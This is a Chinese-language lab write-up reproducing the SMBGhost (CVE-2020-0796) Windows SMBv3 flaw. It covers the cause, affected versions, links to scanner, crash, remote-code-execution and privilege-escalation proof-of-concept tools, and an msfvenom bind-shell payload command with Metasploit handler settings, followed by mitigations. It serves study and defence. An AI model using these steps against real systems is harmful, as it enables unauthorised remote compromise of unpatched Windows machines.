漏洞描述:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
漏洞原理:
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
影响范围:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
复现:
一、环境准备
目标机:windows10 1903 x64 ip:192.168.142.129 (关闭防火墙)
攻击机:kali ip:192.168.142.128
windows10 1903 x64迅雷下载:https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link
二、漏洞检测
工具下载:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
三、漏洞攻击-蓝屏
POC下载:https://github.com/eerykitty/CVE-2020-0796-PoC
利用POC发起攻击
win10 1903马上就蓝屏了
四、漏洞利用-getshell
脚本下载:https://github.com/chompie1337/SMBGhost_RCE_PoC
1、生成正向连接木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b 'x00' -i 1 -f python
用生成的shellcode将exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)
* * *
Meterpreter的使用
bind_tcp
path : payload/windows/meterpreter/bind_tcp
正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST
reverse_tcp
path : payload/windows/meterpreter/reverse_tcp
反向连接shell,使用起来很稳定。需要设置LHOST
reverse_http/https
path:payload/windows/meterpreter/reverse_http/https
通过http/https的方式反向连接,在网速慢的情况下不稳定,https如果反弹没有收到数据,可以将监听端口换成443试试
2、开启msf监听
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 8888 //监听端口 set rhost 192.168.142.129 //目标主机 run
4、运行exploit.py脚本,反弹shell
按道理来说,这里应该是反弹了一个shell的,可是!!!一直报错,参考原文是要将win10的内存调整到4个G以上,我也调了的,还是不行,只有后面再看看了,有知道的师傅指点指点(抱拳.jpg)
五、漏洞利用-本地提权
下载地址:https://github.com/danigargu/CVE-2020-0796/releases
如果提示找不到dll文件,那么在win10上安装个vc运行库就好了
六、漏洞加固
1、更新补丁
2、微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
3、将SMB445通信端口进行封禁
参考:
https://blog.csdn.net/weixin_44677409/article/details/106568350?fps=1&locationNum=2
https://mp.weixin.qq.com/s/SkjMVhFPSf8QsPe23cWjxQ
https://blog.csdn.net/RatOnSea/article/details/106399450